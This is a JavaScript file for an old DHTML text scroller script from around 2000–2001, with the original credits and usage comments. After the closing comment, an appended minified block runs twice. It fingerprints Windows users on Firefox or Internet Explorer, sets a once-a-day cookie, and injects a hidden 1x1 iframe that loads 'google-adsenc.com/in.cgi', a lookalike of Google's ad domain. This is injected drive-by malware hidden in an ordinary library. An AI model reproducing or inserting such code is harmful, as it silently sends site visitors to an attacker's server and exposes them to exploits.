// ASM SCROLLER 2.0 - (c) 2000 Brent Gustafson, vitaflo.com and assembler.org
// Turns to TAKA SCROLLER 0.5b - (c) 2001 Omoto Takashi
//
// VERSION UPDATES:
//
// - 0.1b Simple implementation. Lots of extra code and a hack to call init()
// - 0.5b Kills static varables, adds updateSize() function. Now more easy to use.
// - 0.6(final) Now can move 5 diferent windows
//
// How to use:
//
// Just like ASM SCROLLER, but calls to scrollIt() must be done as:
//
//   scrollIt('Scroll Up',1,'text','textClipping', layernumb);
//
// where 'text' and 'textClipping' are the DIV id's for the text to be scrolled and
// the clipping layer. As for layernub, it allows you to keep more than 1 scroller.
// As in ASM Scroller but just add a number for every extra scroll you want to add.
//
// ******************************** NOTES *************************************
// * Quick hack for Versus site, allowing several clip windows under the same *
// * size of code, making more calls and making the move call more            *
// * explicit. Original comments follow. Dibs for Brent for a great code.     *
// ****************************************************************************
//
// Feel free to hack around with this code for personal use, it's open source
// so do what ya want w/ it.  Though a link would be nice. ;)  While this code
// doesn't have a ton of documentation, please remember that I am a busy man,
// so support of this code will be very minimal.  Use at your own risk.
//
// Follow me into a solo, get in the FLO
// And you can picture like a photo
// Music mixed mellow maintains to make 
// Melodies for MC's motivates the breaks 
// I'm everlasting, I can go on for days and days 
// With rhyme displays that engrave deep as X-rays
//
// -Brent (brent@assembler.org)
// assembler.org || vitaflo.com

var w3c = (document.getElementById) ? 1:0
var ns4 = (document.layers) ? 1:0
var ie4 = (document.all) ? 1:0

var range = "";
var cap = "";
var mutex = 0;
/** Change array number for more scrolling windows**/
var yplace = new Array(5);
var ymax = 0;
var ymin = 0;
var xplace = 0;
var Height = 0;

/** The only code you should ever need to change here is the following var **/
var speed = 5;                  		//speed at which the scrolls, er scroll.

function redrawScreen() {
  location.reload();
  return false
}

function shiftTo(obj, x, y) {
  if (w3c) {
    obj.style.left = x + "px";
    obj.style.top = y + "px";
  }
  else if (ns4) {
	 obj.moveTo(x,y);
  } 
  else if (ie4) {
    obj.style.pixelLeft = x;
	obj.style.pixelTop = y;
  }
}

function getObject(obj) {
	var theObj = eval("document." + range + obj + cap);
	return theObj;
} 

function scrollUp(value) {
  if (mutex == 1){
    var theObj = getObject(Id);
    if (yplace[value] < ymax) {
      yplace[value] = yplace[value] + speed;
      if (yplace[value] > ymax) yplace[value] = ymax;
      shiftTo(theObj, xplace, yplace[value]);
      setTimeout('scrollUp(' + value + ')',25);
    }
  }
}
  
function scrollDown(value) {
  if (mutex == 2){
    var theObj = getObject(Id);
    if (yplace[value] > ymin) {
      yplace[value] = yplace[value] - speed;
      if (yplace[value] < ymin) yplace[value] = ymin;
      shiftTo(theObj, xplace, yplace[value]);
      setTimeout('scrollDown(' + value + ')',25);
    }
  }
}

function scrollIt(msg, dir, obj, clip, value) {
  Id = obj;                       //name of the overall  div
  ClipId = clip;       	      //name of the  clipping div
  updateClips(Id, ClipId);
  window.status = msg; 
  mutex = dir;
  if (mutex == 1) scrollUp(value);
  else if (mutex == 2) scrollDown(value);
}

function updateClips(obj, clip) {
  Id = obj;
  ClipId = clip;
  if (w3c) {
    range = "getElementById(\"";
    cap = "\")";
    theObj = getObject(ClipId);
    Height = parseInt(theObj.offsetHeight);
    theObj = getObject(Id);
    ymin = (parseInt(theObj.offsetHeight) - Height) * -1;
  }
  else if (ns4) {
    window.captureEvents(Event.RESIZE);
    window.onresize = redrawScreen;
    theObj = getObject(ClipId);
    Height = theObj.clip.height;
    Id = ClipId + ".document." + Id;
    theObj = getObject(Id);
    ymin = (theObj.clip.height - Height) * -1;
  }
  else if (ie4) {
    range = "all.";
    theObj = getObject(ClipId);
    Height = theObj.offsetHeight;
    theObj = getObject(Id);
    ymin = (theObj.offsetHeight - Height) * -1;
  }
}


function init() {
        for (var i = 1; i <= 5; i++)
        { yplace[i] = 0 }
}

// END OF LINEvar BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
